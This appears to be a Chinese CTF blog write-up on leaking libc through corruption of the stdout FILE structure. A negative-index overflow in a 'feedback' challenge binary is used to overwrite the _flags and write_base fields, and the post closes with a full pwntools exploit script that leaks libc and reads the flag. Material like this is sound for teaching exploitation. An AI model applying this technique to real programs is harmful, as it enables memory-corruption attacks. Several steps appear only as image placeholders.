利用I/O进行libc的泄露

本文最后更新于 2024年10月23日 晚上

利用I/O进行libc的泄露

moe最后一题,无free,堆,存在索引的溢出,可以更改i/o的结构。

先从gdb看一下FILE的基本结构

1
指令:p/x *(FILE*)&_IO_2_1_stdout_

image-20231021174246817

_flags 的基础值一般为0xfbad0000(问就是规定的)

它被定义为MAGIC

1
2
3
4
#define _IO_MAGIC 0xFBAD0000
#define _IO_NO_WRITES 8/*不可写*/
#define _IO_CURRENTLY_PUTTING 0x800/*检查缓冲区是否为空,空则分配空间*/
#define _IO_IS_APPENDING 0x1000

flags是在MAGIC的基础上,经过各种与运算(为了满足或不满足一些条件)

eg:第一个判断if(MAGIC & _NO_WRITES)来进行判断,如果非空,则会使得该函数不可写,也就是直接退出。

第二个判断也是这样子,为了能够输出,要使得第二个判断为真,执行

第三个判断,主要是想不走else if 而是正常往下执行,else那里如果想要满足的话更改的量太多

image-20231021175612015

所以为了满足以上判断,flags=0xfbad1800

好,接下来看题,保护全开

这里直接把flag读入到一个位置,注意那个地址的计算方式应该是&puts+186972*8(因为它是指针型变量)

image-20231021180146276

当然,这里也可以看到,186971*8=0x16d2e0

image-20231021175921855

vuln函数,只存在index的数据的反向溢出

image-20231021180412282

可以看到feedback_list就在bss段上,距离stdout为0x40,也就是index=-8的区域

image-20231021180510527

1
payload = p64(0xfbad1800) + p64(0) * 3 + b'\x00'

把write_base的后两位改为00,来定向输出这些,可以看出,它是逐内存单元进行输出的。(除了定向输出,其实还有别的作用哦)

image-20231021180831095

image-20231029190411280

其实最终是为了调用这里。

image-20231021181144680

泄露完libc后,可以找到对应的&puts是什么,然后讲put的指针

1
2
3
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */

设置缓冲区为write_base -> write_ptr

更改后:

image-20231021184232052

关于为什么第二次需要改那么多,第一次只改那么一点点的原因:

1
2
_IO_do_write (f, f->_IO_write_base,f->_IO_write_ptr - f->_IO_write_base)
这个是调用的write函数,第二个参数为输出的地址,第三个为长度。

长度是这两个相减。

存疑:为什么要存在ptr这个变量,为啥补直接用end-start来作为输出长度。

当正常输出的调试时,发现这里的值都不发生变化。

//看了别人的文章:

image-20231021190635676

这里buf的空间大小size使用end-base申请的

image-20231021190401369

后续:

image-20231021190824481

最后的结果:

image-20231021190843809

在这一系列调用完之后,才会执行puts函数的主体,实际调用了一个IO_file_write,但这一过程中,write并没有用到file的结构体。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import*
context(log_level='debug',arch='amd64',os='linux')
p=process('./feedback')
#p=remote('',)
sl = lambda s :p.sendline(s)
sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
ru = lambda s :p.recvuntil(s)
rl = lambda :p.recvline()

libc = ELF('/home/kali/Desktop/libc-2.31.so')

sd('-8')
rl()
payload = p64(0xfbad1800) + p64(0) * 3 + b'\x00'
#gdb.attach(p)

sl(payload)
stdout=u64(ru('\x7f')[-6:].ljust(8,b'\x00'))

print(hex(stdout))
libc_base = stdout - libc.sym['_IO_2_1_stdin_']
flag_addr = libc_base + libc.sym['puts'] + 0x16d2e0
print(hex(libc_base))

sd('-8')
rl()

payload = p64(0xfbad1800) + p64(0)*3 +p64(flag_addr)+ p64(flag_addr+0x50)
#gdb.attach(p)
sl(payload)
p.interactive()

利用I/O进行libc的泄露
https://xyyr-c.github.io/2024/10/23/利用IO进行libc的泄露/
作者
xyyr
发布于
2024年10月23日
许可协议